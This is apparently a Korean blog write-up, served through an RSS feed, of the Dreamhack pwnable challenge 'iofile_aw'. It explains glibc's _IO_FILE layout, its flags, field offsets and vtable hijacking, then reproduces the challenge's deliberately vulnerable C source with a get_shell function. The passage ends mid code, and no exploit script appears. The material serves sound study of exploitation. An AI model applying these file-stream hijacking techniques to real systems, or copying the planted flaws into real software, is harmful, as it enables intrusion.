<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>_IO_FILE on My Life</title><link>https://dig06161.github.io/tags/_io_file/</link><description>Recent content in _IO_FILE on My Life</description><generator>Hugo -- 0.145.0</generator><language>ko-kr</language><lastBuildDate>Tue, 28 Feb 2023 17:00:00 +0900</lastBuildDate><atom:link href="https://dig06161.github.io/tags/_io_file/index.xml" rel="self" type="application/rss+xml"/><item><title>[Dreamhack] PWN iofile_aw, what is _IO_FILE?</title><link>https://dig06161.github.io/2023/02/28/dreamhack-pwn-iofile_aw/</link><pubDate>Tue, 28 Feb 2023 17:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/02/28/dreamhack-pwn-iofile_aw/</guid><description>드림핵 포너블 iofile_aw 문제풀이</description><content:encoded><![CDATA[<p>이번 문제에서는 io_file에 대한 내용을 공부하면서 풀었다. 문제를 보면 드림핵 강의가 함께 제공된다. <a href="https://dreamhack.io/learn/2/11#40">https://dreamhack.io/learn/2/11#40</a></p>
<p>io_file에 대한 내용은 이번에 처음 공부해 보면서 이전 ctf에서 문제를 접했지만 해당 내용을 몰랐던 것이 매우 아쉬웠다. 그리고 생각보다 더 복잡했다&hellip;</p>
<p>io_file에 대해 설명하면 리눅스 시스템에서 파일 스트림을 나타내기 위한 하나의 구조체이다. fopen와 같은 파일 스트림을 여는 함수를 호출하면 내부적으로 io_file 구조체가 셋팅된다.</p>
<p>glibc의 _io_file 구조체는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">struct</span> <span class="n">_IO_FILE</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">_flags</span><span class="p">;</span>		<span class="cm">/* High-order word is _IO_MAGIC; rest is flags. */</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* The following pointers correspond to the C++ streambuf protocol. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_read_ptr</span><span class="p">;</span>	<span class="cm">/* Current read pointer */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_read_end</span><span class="p">;</span>	<span class="cm">/* End of get area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_read_base</span><span class="p">;</span>	<span class="cm">/* Start of putback+get area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_write_base</span><span class="p">;</span>	<span class="cm">/* Start of put area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_write_ptr</span><span class="p">;</span>	<span class="cm">/* Current put pointer. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_write_end</span><span class="p">;</span>	<span class="cm">/* End of put area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_buf_base</span><span class="p">;</span>	<span class="cm">/* Start of reserve area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_buf_end</span><span class="p">;</span>	<span class="cm">/* End of reserve area. */</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* The following fields are used to support backing up and undo. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_save_base</span><span class="p">;</span> <span class="cm">/* Pointer to start of non-current get area. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_backup_base</span><span class="p">;</span>  <span class="cm">/* Pointer to first valid character of backup area */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_save_end</span><span class="p">;</span> <span class="cm">/* Pointer to end of non-current get area. */</span>
</span></span><span class="line"><span class="cl">  <span class="k">struct</span> <span class="n">_IO_marker</span> <span class="o">*</span><span class="n">_markers</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">struct</span> <span class="n">_IO_FILE</span> <span class="o">*</span><span class="n">_chain</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">_fileno</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">_flags2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">__off_t</span> <span class="n">_old_offset</span><span class="p">;</span> <span class="cm">/* This used to be _offset but it&#39;s too small.  */</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* 1+column number of pbase(); 0 is unknown. */</span>
</span></span><span class="line"><span class="cl">  <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">_cur_column</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">signed</span> <span class="kt">char</span> <span class="n">_vtable_offset</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">char</span> <span class="n">_shortbuf</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">_IO_lock_t</span> <span class="o">*</span><span class="n">_lock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="cp">#ifdef _IO_USE_OLD_IO_FILE
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="p">};</span>
</span></span></code></pre></div><hr>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">_flags
</span></span><span class="line"><span class="cl">    파일에 대한 읽기/쓰기/추가 권한을 의미.
</span></span><span class="line"><span class="cl">    0xfbad0000가 매직 값으로 이는 고정이고 하위 2바이트로 파일의 권한이 결졍된다.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_read_ptr
</span></span><span class="line"><span class="cl">    파일 읽기 버퍼에 대한 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_read_end
</span></span><span class="line"><span class="cl">    파일 읽기 버퍼 주소의 끝을 가리키는 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_read_base  
</span></span><span class="line"><span class="cl">    파일 읽기 버퍼 주소의 시작을 가리키는 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_write_base
</span></span><span class="line"><span class="cl">    파일 쓰기 버퍼 주소의 시작을 가리키는 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_write_ptr
</span></span><span class="line"><span class="cl">    쓰기 버퍼에 대한 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_IO_write_end
</span></span><span class="line"><span class="cl">    파일 쓰기 버퍼 주소의 끝을 가리키는 포인터.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_chain
</span></span><span class="line"><span class="cl">    프로세스의 _IO_FILE 구조체는 _chain 필드를 통해 링크드 리스트를 만든다.
</span></span><span class="line"><span class="cl">    링크드 리스트의 헤더는 라이브러리의 전역 변수인 _IO_list_all에 저장된다.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">_fileno
</span></span><span class="line"><span class="cl">    파일 디스크립터의 값.
</span></span></code></pre></div><p>주로 사용되는 값들은 이 정도 같다.
_flags의 경우 0xfbad0000로 상위 2바이트가 고정이고 하위 2바이트는 파일의 형식, 읽기 또는 쓰기 권한에 따라 다르게 결정된다. glibc에 정의된 flags 값은 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define _IO_MAGIC         0xFBAD0000 </span><span class="cm">/* Magic number */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_MAGIC_MASK    0xFFFF0000
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_USER_BUF          0x0001 </span><span class="cm">/* Don&#39;t deallocate buffer on close. */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_UNBUFFERED        0x0002
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_NO_READS          0x0004 </span><span class="cm">/* Reading not allowed.  */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_NO_WRITES         0x0008 </span><span class="cm">/* Writing not allowed.  */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_EOF_SEEN          0x0010
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_ERR_SEEN          0x0020
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_DELETE_DONT_CLOSE 0x0040 </span><span class="cm">/* Don&#39;t call close(_fileno) on close.  */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_LINKED            0x0080 </span><span class="cm">/* In the list of all open files.  */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_IN_BACKUP         0x0100
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_LINE_BUF          0x0200
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_TIED_PUT_GET      0x0400 </span><span class="cm">/* Put and get pointer move in unison.  */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_CURRENTLY_PUTTING 0x0800
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_IS_APPENDING      0x1000
</span></span></span><span class="line"><span class="cl"><span class="cp">#define _IO_IS_FILEBUF        0x2000
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>                           <span class="cm">/* 0x4000  No longer used, reserved for compat.  */</span>
</span></span><span class="line"><span class="cl"><span class="cp">#define _IO_USER_LOCK         0x8000
</span></span></span></code></pre></div><p>_IO_MAGIC_MASK 아래의 값들을 0xFBAD0000에 더해 권한에 대한 플레그를 설정하게 된다. 사실 다 외우기는 힘들것 같고 이번에 정리하면서 그때그때 찾아보고 해야겠다.</p>
<p>인터넷을 찾아보다가 다음과 같은 내용을 발견했다. _IO_FILE의 offset인데 공격코드를 작성할때 참고하면 편할 것 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0x0   _flags
</span></span><span class="line"><span class="cl">0x8   _IO_read_ptr
</span></span><span class="line"><span class="cl">0x10  _IO_read_end
</span></span><span class="line"><span class="cl">0x18  _IO_read_base
</span></span><span class="line"><span class="cl">0x20  _IO_write_base
</span></span><span class="line"><span class="cl">0x28  _IO_write_ptr
</span></span><span class="line"><span class="cl">0x30  _IO_write_end
</span></span><span class="line"><span class="cl">0x38  _IO_buf_base
</span></span><span class="line"><span class="cl">0x40  _IO_buf_end
</span></span><span class="line"><span class="cl">0x48  _IO_save_base
</span></span><span class="line"><span class="cl">0x50  _IO_backup_base
</span></span><span class="line"><span class="cl">0x58  _IO_save_end
</span></span><span class="line"><span class="cl">0x60  _markers
</span></span><span class="line"><span class="cl">0x68  _chain
</span></span><span class="line"><span class="cl">0x70  _fileno
</span></span><span class="line"><span class="cl">0x74  _flags2
</span></span><span class="line"><span class="cl">0x78  _old_offset
</span></span><span class="line"><span class="cl">0x80  _cur_column
</span></span><span class="line"><span class="cl">0x82  _vtable_offset
</span></span><span class="line"><span class="cl">0x83  _shortbuf
</span></span><span class="line"><span class="cl">0x88  _lock
</span></span><span class="line"><span class="cl">0x90  _offset
</span></span><span class="line"><span class="cl">0x98  _codecvt
</span></span><span class="line"><span class="cl">0xa0  _wide_data
</span></span><span class="line"><span class="cl">0xa8  _freeres_list
</span></span><span class="line"><span class="cl">0xb0  _freeres_buf
</span></span><span class="line"><span class="cl">0xb8  __pad5
</span></span><span class="line"><span class="cl">0xc0  _mode
</span></span><span class="line"><span class="cl">0xc4  _unused2
</span></span><span class="line"><span class="cl">0xd8  vtable
</span></span></code></pre></div><p>실제로 gdb를 통해 디버깅 해보면 _IO_FILE_plus 구조체가 호출된다. _IO_FILE_plus의 구조체는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">struct</span> <span class="n">_IO_FILE_plus</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">_IO_FILE</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">const</span> <span class="k">struct</span> <span class="n">_IO_jump_t</span> <span class="o">*</span><span class="n">vtable</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>_IO_FILE은 _IO_FILE_plus의 file에 해당하고 그 아래 vtable로 할당된 _IO_JUMP_t 구조체가 있는것을 볼 수 있다. _IO_FILE + 0xd8위치에 vtable이 존재하게 된다.</p>
<p>_IO_JUMP_t 구조체의 내용을 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">struct</span> <span class="n">_IO_jump_t</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="kt">size_t</span><span class="p">,</span> <span class="n">__dummy</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="kt">size_t</span><span class="p">,</span> <span class="n">__dummy2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_finish_t</span><span class="p">,</span> <span class="n">__finish</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_overflow_t</span><span class="p">,</span> <span class="n">__overflow</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_underflow_t</span><span class="p">,</span> <span class="n">__underflow</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_underflow_t</span><span class="p">,</span> <span class="n">__uflow</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_pbackfail_t</span><span class="p">,</span> <span class="n">__pbackfail</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="cm">/* showmany */</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_xsputn_t</span><span class="p">,</span> <span class="n">__xsputn</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_xsgetn_t</span><span class="p">,</span> <span class="n">__xsgetn</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_seekoff_t</span><span class="p">,</span> <span class="n">__seekoff</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_seekpos_t</span><span class="p">,</span> <span class="n">__seekpos</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_setbuf_t</span><span class="p">,</span> <span class="n">__setbuf</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_sync_t</span><span class="p">,</span> <span class="n">__sync</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_doallocate_t</span><span class="p">,</span> <span class="n">__doallocate</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_read_t</span><span class="p">,</span> <span class="n">__read</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_write_t</span><span class="p">,</span> <span class="n">__write</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_seek_t</span><span class="p">,</span> <span class="n">__seek</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_close_t</span><span class="p">,</span> <span class="n">__close</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_stat_t</span><span class="p">,</span> <span class="n">__stat</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_showmanyc_t</span><span class="p">,</span> <span class="n">__showmanyc</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">JUMP_FIELD</span><span class="p">(</span><span class="n">_IO_imbue_t</span><span class="p">,</span> <span class="n">__imbue</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>위 필드들은 fread, fwrite, fopen같은 함수에서 호출된다. 파일 함수가 호출되면 _IO_jump_t에 있는 함수 포인터를 호출하게 된다. 우분투 16.04버전 까지는 fp_vtable.c에 버퍼 오버플로우 취약점이 존재해 _IO_jump_t vtable 값을 덮어 써 원하는 함수를 호출할 수 있다. 전역 변수에서 버퍼 오버플로우가 일어나 파일 포인터를 취약한 변수로 바꾼 후 해당 변수에 _IO_FILE를 구성해 익스플로잇 하는 시나리오가 완성된다.</p>
<p>이후 버전에서는 _IO_vtable_check 함수가 추가되면서 패치가 되었다.</p>
<p>해당 내용을 이용해 문제를 풀어보자.</p>
<p>문제의 소스코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="c1">// gcc -o iofile_aw iofile_aw.c -fno-stack-protector -Wl,-z,relro,-z,now
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;signal.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">80</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="mi">512</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;TIME OUT&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">alarm</span><span class="p">(</span><span class="mi">60</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">read_str</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">fgets</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">get_shell</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">help</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;read: Read a line from the standard input and split it into fields.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">read_command</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="cm">/* No overflow here */</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">len</span> <span class="o">=</span> <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">s</span><span class="p">[</span><span class="n">len</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">&#39;\x0a&#39;</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">		<span class="n">s</span><span class="p">[</span><span class="n">len</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="sc">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">sel</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="n">command</span><span class="p">[</span><span class="mi">512</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">	<span class="kt">long</span> <span class="o">*</span><span class="n">dst</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">long</span> <span class="o">*</span><span class="n">src</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="nf">memset</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">command</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nf">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;# &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="nf">read_command</span><span class="p">(</span><span class="n">command</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		
</span></span><span class="line"><span class="cl">		<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34;read&#34;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nf">read_str</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34;help&#34;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nf">help</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strncmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34;printf&#34;</span><span class="p">,</span> <span class="mi">6</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span> <span class="p">(</span> <span class="nf">strtok</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34; &#34;</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">src</span> <span class="o">=</span> <span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="nf">strtok</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">&#34; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">dst</span> <span class="o">=</span> <span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">stdin</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="k">if</span><span class="p">(</span><span class="n">src</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">					<span class="nf">memcpy</span><span class="p">(</span><span class="n">dst</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>				
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strcmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34;exit&#34;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">		<span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%s: command not found</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">command</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>read, help, printf, exit의 문자열을 받아 이에 맞는 동작을 하는 코드이다 사실상 read와 printf만 보면 될 것이다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">else</span> <span class="nf">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strncmp</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34;printf&#34;</span><span class="p">,</span> <span class="mi">6</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="k">if</span> <span class="p">(</span> <span class="nf">strtok</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">&#34; &#34;</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">				<span class="n">src</span> <span class="o">=</span> <span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="nf">strtok</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">&#34; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="n">dst</span> <span class="o">=</span> <span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span><span class="n">stdin</span><span class="p">;</span>
